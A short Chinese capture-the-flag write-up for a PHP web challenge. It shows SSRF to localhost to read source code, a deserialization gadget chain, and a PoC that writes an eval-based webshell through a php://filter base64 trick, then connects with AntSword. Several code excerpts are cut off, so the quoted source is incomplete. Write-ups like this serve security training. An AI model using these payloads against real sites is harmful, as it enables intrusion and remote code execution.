目录
信息搜集
先扫下目录
.htaccess;robots.txt;flag.php;index.php
在robots.txt下看到了/star1.php
进入star1.php发现出现ser.php
直接进入ser.php发现进不去,看来需要用上面提到的不安全协议,从他家,我们看到提示给的是百度的地址,考虑访问内网地址127.0.0.1,横向穿透.利用 SSRF 才能访问到 ser.php
?path=http://127.0.0.1/ser.php
拿到ser.php源码
hero = new Yasuo; } public function __toString(){ if (isset($this->hero)){ return $this->hero->hasaki(); }else{ return "You don't look very happy"; } }}class Yongen{ //flag.php public $file; public $text; public function __construct($file='',$text='') { $this -> file = $file; $this -> text = $text; } public function hasaki(){ $d = ''; $a= $d. $this->text; @file_put_contents($this-> file,$a); }}class Yasuo{ public function hasaki(){ return "I'm the best happy windy man"; }}?>
代码审计
创建一个GWHT对象,hero为yongen对象,然后向file写入一句话木马
- 通过 类GWHT 的 __toString() 来调用 类Yongen 的 hasaki() 方法,利用 file_put_contents() 来写文件。其中写文件时需要绕过
,先去除标签再base64解码的方法。
poc
hero = new Yongen();$door->hero->file = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php';$door->hero->text = 'PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==';echo urlencode(serialize($door));?>
用蚁剑连接shel.php,flag 在根目录下
参数扫描
arjun扫描传入的参数为c和path
来源地址:https://blog.csdn.net/qq_63701832/article/details/128766325